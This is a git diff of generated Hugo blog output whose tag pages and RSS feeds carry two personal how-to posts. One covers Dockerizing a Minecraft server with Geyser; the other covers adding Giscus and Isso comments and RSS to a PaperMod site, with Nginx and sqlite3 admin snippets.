    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/flask/page/1/index.html b/public-clearnet/tags/flask/page/1/index.html new file mode 100644 index 0000000..adc7e12 --- /dev/null +++ b/public-clearnet/tags/flask/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/flask/ + \ No newline at end of file diff --git a/public-clearnet/tags/geyser/index.html b/public-clearnet/tags/geyser/index.html new file mode 100644 index 0000000..47b1257 --- /dev/null +++ b/public-clearnet/tags/geyser/index.html @@ -0,0 +1,11 @@ +Geyser | AlipourIm journeys +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/geyser/index.xml b/public-clearnet/tags/geyser/index.xml new file mode 100644 index 0000000..0a5d015 --- /dev/null +++ b/public-clearnet/tags/geyser/index.xml @@ -0,0 +1,166 @@ +Geyser on AlipourIm journeyshttps://blog.alipour.eu/tags/geyser/Recent content in Geyser on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/geyser/page/1/index.html b/public-clearnet/tags/geyser/page/1/index.html new file mode 100644 index 0000000..5a3951b --- /dev/null +++ b/public-clearnet/tags/geyser/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/geyser/ + \ No newline at end of file diff --git a/public-clearnet/tags/giscus/index.html b/public-clearnet/tags/giscus/index.html new file mode 100644 index 0000000..12b4832 --- /dev/null +++ b/public-clearnet/tags/giscus/index.html @@ -0,0 +1,15 @@ +Giscus | AlipourIm journeys +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    October 23, 2025 · 15 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/giscus/index.xml b/public-clearnet/tags/giscus/index.xml new file mode 100644 index 0000000..397caf1 --- /dev/null +++ b/public-clearnet/tags/giscus/index.xml @@ -0,0 +1,621 @@ +Giscus on AlipourIm journeyshttps://blog.alipour.eu/tags/giscus/Recent content in Giscus on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

    Create this file in your site (not inside the theme):

    +
    layouts/partials/comments.html
    +

    Paste the Giscus embed (swap the placeholders with yours from giscus.app):

    +
    <section id="comments" class="giscus">
    +  <script
    +    src="https://giscus.app/client.js"
    +    data-repo="yourname/blog-comments"
    +    data-repo-id="YOUR_REPO_ID"
    +    data-category="Comments"
    +    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
    +    data-mapping="pathname"
    +    data-strict="0"
    +    data-reactions-enabled="1"
    +    data-emit-metadata="0"
    +    data-input-position="bottom"
    +    data-theme="preferred_color_scheme"
    +    data-lang="en"
    +    data-loading="lazy"
    +    crossorigin="anonymous"
    +    async>
    +  </script>
    +  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
    +</section>
    +

    Notes

    +
      +
    • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
    • +
    • data-mapping="pathname" works great for static sites.
    • +
    • Prefer a public repo so visitors can read discussions without friction.
    • +
    • Want a different language? Change data-lang (e.g., de, fr).
    • +
    +
    +

    2) Enable RSS (home + sections)

    +

    Hugo already knows how to generate feeds; we just tell it where.

    +

    hugo.toml

    +
    baseURL = "https://example.com/"  # set your production URL
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1   # -1 = no cap; or set e.g. 20
    +

    Feed URLs

    +
      +
    • Home feed: /index.xmlhttps://example.com/index.xml
    • +
    • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
    • +
    +
    +

    If you’re using a .onion address or staging domain, just set that in baseURL.
    +Locally, Hugo serves feeds at http://localhost:1313/index.xml.

    +
    +

    3) Show an RSS button on the home page

    +

    PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

    +

    Option A — Use the home “social icons” row

    +

    This appears if you enable Home-Info or Profile mode:

    +
    [params.homeInfoParams]
    +  Title = "Hello, internet!"
    +  Content = "Notes, experiments, and occasional rabbit holes."
    +
    +[[params.socialIcons]]
    +  name = "rss"        # lowercase matters
    +  url  = "/index.xml"
    +
    +

    Create:

    +
    layouts/partials/extend_footer.html
    +

    Paste:

    +
    <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
    +  {{ partial "svg.html" (dict "name" "rss") }}
    +  <span>RSS</span>
    +</a>
    +

    Make it a sensible size:

    +

    Create:

    +
    assets/css/extended/rss.css
    +

    Paste:

    +
    /* Small & aligned RSS icon in the footer */
    +.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
    +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
    +.rss-link span { font-size: .95rem; }
    +

    PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

    +
    +

    4) Verify everything

    +

    Build or run dev:

    +
    hugo           # outputs to ./public
    +# or
    +hugo server    # serves at http://localhost:1313
    +

    Check feeds:

    +
    # Home feed:
    +curl -s http://localhost:1313/index.xml | head
    +
    +# A section feed (adjust path to your section name):
    +curl -s http://localhost:1313/posts/index.xml | head
    +

    Check comments:

    +
      +
    1. Open any post locally.
    2. +
    3. Scroll to the bottom — Giscus should appear.
    4. +
    5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
    6. +
    +
    +

    5) Per-post controls (handy later)

    +

    Turn comments off for a single post:

    +
    # in that post’s front matter
    +comments = false
    +

    Full content in RSS (global):

    +
    [params]
    +  ShowFullTextinRSS = true
    +

    Show RSS buttons on section/taxonomy lists:

    +
    [params]
    +  ShowRssButtonInSectionTermList = true
    +

    +

    6) Troubleshooting (aka “what I bumped into”)

    +
      +
    • +

      Home page has no RSS icon
      +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

      +
    • +
    • +

      Section feed 404
      +Folder names are lowercase (content/posts/, not content/Posts/).
      +The URL mirrors that: /posts/index.xml.

      +
    • +
    • +

      Giscus doesn’t create a discussion
      +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
      +Make sure Discussions is enabled and the Giscus app is installed for the repo.

      +
    • +
    • +

      Icon is comically large
      +Keep the CSS above; 16–20px usually looks right.

      +
    • +
    +
    +

    7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

    +
    # Create the public comments repo (adjust names)
    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
